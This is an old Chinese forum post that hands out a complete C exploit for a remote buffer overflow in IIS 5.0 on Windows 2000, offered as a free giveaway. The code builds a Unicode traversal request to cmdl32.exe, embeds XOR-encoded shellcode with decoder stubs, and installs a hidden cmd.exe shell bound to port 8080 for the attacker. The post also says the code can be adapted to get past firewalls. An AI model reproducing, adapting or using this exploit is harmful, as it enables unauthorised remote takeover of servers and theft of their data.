焦
焦皮
袁哥 于 2001-1-18 11:53:53 加贴在 Win9x安全：
win2000+iis5.0的远程溢出程序大放送。程序运行开8080口绑定cmd.exe，不用考虑找tftp服务器上传，改动改动也可以对付防火墙。unicode编码中英兼容格式，直接对付中英文系统。
程序价值188RMB。：）
/* cmdl32.exe overflow program ver 1.0
copy by yuange <yuange@163.net> 2000。08。24
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <httpext.h>
#define FNENDLONG 0x08
#define NOPCODE 'B' // INC EDX 0x90
#define NOPLONG 0x3c
#define BUFFSIZE 0x20000
#define RETEIPADDRESS 0x248
#define SHELLBUFFSIZE 0x800
#define SHELLFNNUMS 0x13
#define DATABASE 0x41
#define DATAXORCODE 0xAA
#define LOCKBIGNUM 19999999
#define LOCKBIGNUM2 13579139
#define SHELLPORT 0x1f90 //0x1f90=8080
#define WEBPORT 80
void shellcodefnlock();
void scanenvstr();
void shellcodefn();
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
int main(int argc , char **argv)
{
char *server;
char *str="\x1f\x90""LoadLibraryA""\x0""CreatePipe""\x0"
"CreateProcessA""\x0""CloseHandle""\x0"
"PeekNamedPipe""\x0"
"ReadFile""\x0""WriteFile""\x0"
"ws2_32.dll""\x0""socket""\x0"
"WSAStartup""\x0"
"bind""\x0""listen""\x0"
"accept""\x0""send""\x0"
"recv""\x0""setsockopt""\x0" // "ioctlsocket""\x0"
"closesocket""\x0"
"cmd.exe""\x0""exit\x0d\x0a""\x0"
"strend";
char buff1[]="GET ";
char buff2[]="/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt%c0%afsystem32%c0%afcmdl32%c0%aeexe/..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmdl32.exe";
/* unicode编码中英兼容格式 */
char buff3[]="?";
char buff4[]="?";
char buff5[]=" HTTP/1.1 \nHOST:";
char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char SRLF[]="\x0d\x0a\x00\x00";
char eipexcept[]="\xa9\xb3\x03\x78"; // ret
// char eipwinnt[] ="\x1b\x9c\xfa\x7f";
// char eipwinnt[] ="\xc0\xfb\x06\x00";
char buff[BUFFSIZE];
char recvbuff[BUFFSIZE];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
// unsigned
int i,j,k;
unsigned char temp;
int fd;
u_short port,port1,shellcodeport;
SOCKET d_ip;
WSADATA wsaData;
int xordatabegin;
int lockintvar1,lockintvar2;
char lockcharvar;
int OVERADD=RETEIPADDRESS,shelladd;
int result;
// scanenvstr();
fprintf(stderr,"\n cmdl32.exe OVERFLOW PROGRAM 2.0 .");
fprintf(stderr,"\n copy by yuange 2000.8.24.");
fprintf(stderr,"\n welcome to my homepage http://yuange.yeah.net .");
fprintf(stderr,"\n welcome to http://www.NSFOCUS.com .");
fprintf(stderr,"\n usage: %s <server> [cmdl32.exe path] \n", argv[0]);
if(argc <2){
fprintf(stderr,"\n please enter the web server:");
gets(recvbuff);
for(i=0;i<strlen(recvbuff);++i){
if(recvbuff[i]!=' ') break;
}
server=recvbuff;
if(i<strlen(recvbuff)) server+=i;
fprintf(stderr,"\n please enter the cmdl32.exe path:");
gets(shellcodebuff);
}
result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
if(argc <2){
argc=2;
argv[1]=recvbuff;
argv[2]=shellcodebuff;
}
else server = argv[1];
for(i=0;i<strlen(server);++i){
if(server[i]!=' ')
break;
}
if(i<strlen(server)) server+=i;
for(i=0;i+3<strlen(server);++i){
if(server[i]==':'){
if(server[i+1]==''||server[i+1]=='/'){
if(server[i+2]==''||server[i+2]=='/'){
server+=i;
server+=3;
break;
}
}
}
}
for(i=1;i<=strlen(server);++i){
if(server[i-1]==''||server[i-1]=='/') server[i-1]=0;
}
d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("\n Can't get the ip of %s !\n",server);
gets(buff);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>4) port=atoi(argv[4]);
else port=WEBPORT;
if(port==0) port=WEBPORT;
fd = socket(AF_INET, SOCK_STREAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)
{
closesocket(fd);
WSACleanup( );
fprintf(stderr,"\n connect err.");
gets(buff);
exit(1);
}
_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
i=*(int*)chkespadd;
chkespadd+=i;
chkespadd+=4;
}
memset(buff,NOPCODE,BUFFSIZE);
i=strlen(buff1);
strcpy(buff,buff1);
if(argc>2){
strcpy(buff+i,argv[2]);
}
else strcpy(buff+i,buff2);
i=strlen(buff);
strcpy(buff+i,buff3);
i=strlen(buff);
buff[i]=NOPCODE;
shelladd=i;
// OVERADD+=i;
shellcodefnadd=shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
for(i=0;i<0x400;++i){
if(memcmp(str+i,"strend",6)==0) break;
}
memcpy(shellcodebuff+k,str,i);
sendpacketlong=k+i;
if(argc>3) {
strcpy(shellcodebuff+sendpacketlong,argv[3]);
sendpacketlong+=strlen(argv[3]);
}
else {
strcpy(shellcodebuff+sendpacketlong," dir ");
sendpacketlong+=5;
}
sendpacketlong+=1;
/*
k=0;
for(i=0;i<sendpacketlong;++i){
temp=shellcodebuff[i];
temp^=DATAXORCODE;
if(temp<=0x10||temp==' '||temp=='.'||temp=='/'||temp=='0'||temp=='1'||temp=='?'||temp=='%'||(temp>=0x80&temp!=0xff)){
if(temp<0x80){
buff[shelladd+k]='0';
++k;
temp+=0x41;
}
else{
buff[shelladd+k]='1';
++k;
// temp=0x88;
j=temp/2;
buff[shelladd+k]=j;
++k;
temp-=j;
}
}
buff[shelladd+k]=temp;
++k;
}
*/
shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memcpy(buff+shelladd,shellcodefnadd+k+4,0x80);
shellcodefnadd=scanenvstr;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
shellcodefnadd+=k;
shellcodefnadd+=FNENDLONG;
for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k+4,fnendstr,FNENDLONG)==0) break;
}
for(j=0;j<=0x200;++j){
if(memcmp(buff+shelladd+j,fnendstr,FNENDLONG)==0) break;
}
for(i=0;i<k+8;++i){
temp=shellcodefnadd[i];
temp^=DATAXORCODE;
buff[shelladd+j]=DATABASE+temp/0x10;
++j;
buff[shelladd+j]=DATABASE+temp%0x10;
++j;
}
shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
OVERADD=shelladd+RETEIPADDRESS;
for(i=-0x40;i<0x10;i+=4){
// memcpy(buff+OVERADD+i,"BBB\x2d",4);
memcpy(buff+OVERADD+i+4,eipexcept,4);
}
memcpy(buff+OVERADD+0x14,"\xfc\xfc\x06%00%01b%00%01",16);
i+=0x30;
shelladd+=i;
// shelladd+=NOPLONG;
shelladd+=RETEIPADDRESS;
/* memcpy(buff+shelladd,shellcodefnadd+k+4,0x80);
for(k=0;k<=0x200;++k){
if(memcmp(buff+shelladd+k,fnendstr,FNENDLONG)==0) break;
}
*/
k=0;
for(i=0;i<sendpacketlong;++i){
temp=shellcodebuff[i];
temp^=DATAXORCODE;
buff[shelladd+k]=DATABASE+temp/0x10;
++k;
buff[shelladd+k]=DATABASE+temp%0x10;
++k;
}
// memcpy(buff+shelladd+k,buff4,strlen(buff4));
// OVERADD=shelladd; // +k+RETEIPADDRESS;
// OVERADD+=strlen(buff4);
// k+=sendpacketlong;
// memcpy(buff+OVERADD+i,eipwinnt,4);
// memcpy(buff+OVERADD+i,eipwinnt,4);
// printf("\n OVERADD:\n %h",OVERADD);
sendpacketlong=shelladd+k;
strcpy(buff+sendpacketlong,buff5);
strcpy(buff+sendpacketlong+strlen(buff5),server);
strcpy(buff+sendpacketlong+strlen(buff5)+strlen(server),"\n\n");
// printf("\n send buff:\n%s",buff);
// strcpy(buff+OVERADD+NOPLONG,shellcode);
sendpacketlong=strlen(buff);
/*
#ifdef DEBUG
_asm{
lea esp,buff
add esp,OVERADD
ret
}
#endif
*/
if(argc>6) {
if(strcmp(argv[6],"debug")==0) {
_asm{
lea esp,buff
add esp,OVERADD
ret
}
}
}
xordatabegin=0;
for(i=0;i<1;++i){
j=sendpacketlong;
fprintf(stderr,"\n send packet %d bytes.",j);
// fprintf(stderr,"\n send:\n %s",buff);
send(fd,buff,j,0);
k=recv(fd,recvbuff,0x1000,0);
if(k>=8&&memcmp(recvbuff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
fprintf(stderr,"\n ok!\n");
}
if(k>0){
recvbuff[k]=0;
fprintf(stderr,"\n recv:\n %s",recvbuff);
}
}
k=1;
ioctlsocket(fd, FIONBIO, &k);
// fprintf(stderr,"\n now begin: \n");
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
/*
for(i=0;i<strlen(SRLF);++i){
SRLF[i]^=DATAXORCODE;
}
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
*/
k=1;
while(k!=0){
if(k<0){
// gets(buff);
// k=strlen(buff);
// memcpy(buff+k,SRLF,3);
// send(fd,SRLF,strlen(SRLF),0);
// fprintf(stderr,"%s",buff);
// for(i=0;i<k+2;++i){
// lockintvar2=lockintvar2*0x100;
// lockintvar2=lockintvar2%LOCKBIGNUM;
// lockcharvar=lockintvar2%0x100;
// buff[i]^=lockcharvar; // DATAXORCODE;
// buff[i]^=DATAXORCODE;
// }
// send(fd,buff,k+2,0);
// send(fd,SRLF,strlen(SRLF),0);
}
k=recv(fd,buff,0x1000,0);
if(xordatabegin==0&&k>=8&&memcmp(buff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
}
if(k>0){
// fprintf(stderr,"recv %d bytes",k);
if(xordatabegin==1){
for(i=0;i<k;++i){
lockintvar1=lockintvar1*0x100;
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
buff[i]^=lockcharvar; // DATAXORCODE;
}
}
buff[k]=0;
fprintf(stderr,"%s",buff);
}
// if(k==0) break;
}
closesocket(fd);
WSACleanup( );
fprintf(stderr,"\n the server close connect.");
gets(buff);
return(0);
}
void shellcodefnlock()
{
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp next
getshelladd: pop esi
push esi
pop edi
nop
looplock: lodsb
cmp al,DATABASE
jb shell
sub al,DATABASE
shl al,4
mov ah,al
nop
lodsb
sub al,DATABASE
xor al,ah
nop
xor al,DATAXORCODE
stosb
jmp looplock
next: call getshelladd
shell:
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
新年快乐，发红包了。iis5.0远程溢出程序大放送。(续）
--------------------------------------------------------------------------------
袁哥 于 2001-1-18 11:55:12 加贴在 Win9x安全：
void shellcodefn()
{ char Buff[0x800];
int *except[3];
FARPROC closesocketadd;
FARPROC setsockoptadd; // ioctlsocketadd;
FARPROC recvadd;
FARPROC sendadd;
FARPROC acceptadd;
FARPROC listenadd;
FARPROC bindadd;
FARPROC WSAStartupadd;
FARPROC socketadd;
FARPROC NOPNOP;
FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC CreateProcessadd;
FARPROC CreatePipeadd;
FARPROC procloadlib;
FARPROC apifnadd[1];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,k,l;
HANDLE libhandle; //libwsock32;
STARTUPINFO siinfo;
WSADATA wsaData;
SOCKET listenFD,clientFD;
struct sockaddr_in server;
int iAddrSize = sizeof(server);
int lBytesRead;
u_short shellcodeport;
PROCESS_INFORMATION ProcessInformation;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
SECURITY_ATTRIBUTES sa;
_asm { jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
imgbase=0x77e00000;
_asm{
call getexceptretadd
}
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
if(imgbase==0x78000000) imgbase=0xbff00000;
if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP'){
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
libhandle=imgbase;
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor')
{
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
break;
}
}
}
}
}
//搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
//注意这儿处理了搜索页面不在情况。
_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
if(procgetadd==0) goto die ;
//
// procloadlib=procgetadd(libhandle,stradd+STR0);
// CreatePipeadd=procgetadd(libhandle,stradd+STR1);
// CreateProcessadd=procgetadd(libhandle,stradd+STR2);
// PeekNamedPipeadd=procgetadd(libhandle,stradd+STR3);
// ReadFileadd=procgetadd(libhandle,stradd+STR4);
// WriteFileadd=procgetadd(libhandle,stradd+STR5);
// libwsock32=procloadlib(stradd+STR6);
// socketadd=procgetadd(libwsock32,stradd+STR7);
// bindadd=procgetadd(libwsock32,stradd+STR8);
// listenadd=procgetadd(libwsock32,stradd+STR9);
// acceptadd=procgetadd(libwsock32,stradd+STR10);
// sendadd=procgetadd(libwsock32,stradd+STR11);
// recvadd=procgetadd(libwsock32,stradd+STR12);
// ioctlsocketadd=procgetadd(libwsock32,stradd+STR13);
//
//
// 得到API函数地址，上面得到地址程序太大，注意这儿为了下面的API调用能够以函数名的形式给出
// 所以API函数地址没有用数组，而是用FNADD[1]数组覆盖。
//
shellcodeport=*(u_short *)stradd;
stradd+=2;
for(k=1;k<18;++k) {
if(k==8) libhandle=procloadlib(stradd);
else apifnadd[k]=procgetadd(libhandle,stradd);
for(;;++stradd){
if(*(stradd)==0&&*(stradd+1)!=0) break;
}
++stradd;
}
WSAStartupadd(MAKEWORD(1, 1), &wsaData);
listenFD = socketadd(AF_INET,SOCK_STREAM,0); // IPPROTO_TCP);
// k=1;
// setsockoptadd(listenFD, SOL_SOCKET, SO_REUSEADDR, (char*)&k, sizeof(k));
server.sin_family = AF_INET;
server.sin_port =shellcodeport;
//SHELLPORT;
server.sin_addr.s_addr=0;
k=1;
while(k!=0){
k=bindadd(listenFD,&server,sizeof(server));
server.sin_port+=0x100;
if(server.sin_port<0x100) ++server.sin_port;
}
listenadd(listenFD,1);
while(1){
// while(1){
clientFD=acceptadd(listenFD,&server,&iAddrSize);
// closesocketadd(listenFD);
// sendadd(clientFD,stradd,8,0);
// closesocketadd(clientFD);
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);
// ZeroMemory(&siinfo,sizeof(siinfo));
_asm{
lea EDI,siinfo
xor eax,eax
mov ecx,0x11
repnz stosd
}
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE;
siinfo.hStdInput = hReadPipe2;
siinfo.hStdOutput=hWritePipe1;
siinfo.hStdError =hWritePipe1;
// k=0;
// while(k==0)
// {
k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
// stradd+=8;
// }
PeekNamedPipeadd(hReadPipe1,Buff,1024,&lBytesRead,0,0);
// k=1;
// ioctlsocketadd(clientFD, FIONBIO, &k);
//还是阻塞模式比较好，占用CPU时间少，要不下面死掉的时候就老占用CPU，造成受攻击系统反应比较慢。
while(1) {
PeekNamedPipeadd(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead>0) {
ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead>0) sendadd(clientFD,Buff,lBytesRead,0);
else sendadd(clientFD,stradd,8,0);
}
else {
lBytesRead=recvadd(clientFD,Buff,1024,0);
if(lBytesRead<=0){
// CloseHandleadd(ProcessInformation.hProcess); //.dwProcessId);
lBytesRead=6;
WriteFileadd(hWritePipe2,stradd+8,lBytesRead,&lBytesRead,0);
closesocketadd(clientFD);
break; //TELNET连接中断，退出等到再一次连接
}
else{
sendadd(clientFD,Buff,lBytesRead,0);
//回显，有些TELNET不能设置本地响应会看不到命令输入很不方便。
// if(lBytesRead>0)
WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
}
}
}
}
die: goto die ;
_asm{
getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
xor eax,eax //2
ret //1
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void scanenvstr(){
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
mov eax,dword ptr fs:[0x18]
mov eax,dword ptr [eax+0x30]
mov eax,dword ptr [eax+0x10]
mov esi,dword ptr [eax+0x48]
loopload: lodsd
cmp eax,0x00300025 // %0
jnz loopload
lodsd
cmp eax,0x00250030 // 0%
jnz loopload
lodsd
cmp eax,0x00310030 // 01
jnz loopload
add esi,0x10
sub esp,0x1000
push esp
pop edi
push edi
looptoshell: lodsw
cmp al,NOPCODE
jz looptoshell
dec esi
dec esi
looplock: lodsw
cmp al,DATABASE
jb shell
sub al,DATABASE
shl al,4
mov cl,al
nop
lodsw
sub al,DATABASE
xor al,cl
nop
xor al,DATAXORCODE
stosb
jmp looplock
shell: ret
nop
nop
nop
nop
nop
nop
nop
nop
}
}
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;
for(i=0;i<len;++i){
temp=shellbuff[i];
if(temp==0xe8){
k=*(int *)(shellbuff+i+1);
calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff[i]=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}
}
| 笑傲尘世中，网络任浮沉~~ |